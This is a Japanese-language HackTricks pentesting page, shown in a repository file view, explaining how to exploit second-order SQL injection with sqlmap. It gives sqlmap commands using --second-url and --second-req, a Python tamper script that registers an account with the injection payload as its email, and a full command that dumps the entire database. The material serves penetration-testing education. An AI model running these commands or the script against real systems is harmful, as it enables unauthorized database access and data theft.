hacktricks/src/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md

74 lines
3.9 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

{{#include ../../../banners/hacktricks-training.md}}
**SQLMapはセカンドオーダーSQLインジェクションを悪用できます。**\
提供する必要があるのは:
- **SQLインジェクションペイロード**が保存される**リクエスト**
- **ペイロード**が**実行される**リクエスト
SQLインジェクションペイロードが保存されるリクエストは、**sqlmapの他のインジェクションと同様に示されます**。SQLインジェクションの出力/実行をsqlmapが読み取ることができるリクエストは、`--second-url`またはファイルから完全なリクエストを示す必要がある場合は`--second-req`で示すことができます。
**シンプルなセカンドオーダーの例:**
```bash
#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt
```
いくつかのケースでは**これだけでは不十分**であり、ペイロードを送信して別のページにアクセスする以外に**他のアクションを実行する必要があります**。
これが必要な場合は、**sqlmap tamper**を使用できます。たとえば、次のスクリプトは**sqlmapペイロードをメールとして使用して**新しいユーザーを登録し、ログアウトします。
```python
#!/usr/bin/env python
import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}
params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload
```
A **SQLMap tamperは、ペイロードを使ってインジェクションを試みる前に常に実行され**、**ペイロードを返す必要があります**。この場合、ペイロードには関心がありませんが、いくつかのリクエストを送信することに関心があるため、ペイロードは変更されません。
したがって、何らかの理由で第二次SQLインジェクションを悪用するためにより複雑なフローが必要な場合は、次のようになります
- "email"フィールドにSQLiペイロードを含むアカウントを作成
- ログアウト
- そのアカウントでログインlogin.txt
- SQLインジェクションを実行するリクエストを送信second.txt
**このsqlmapの行が役立ちます**
```bash
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all
```
{{#include ../../../banners/hacktricks-training.md}}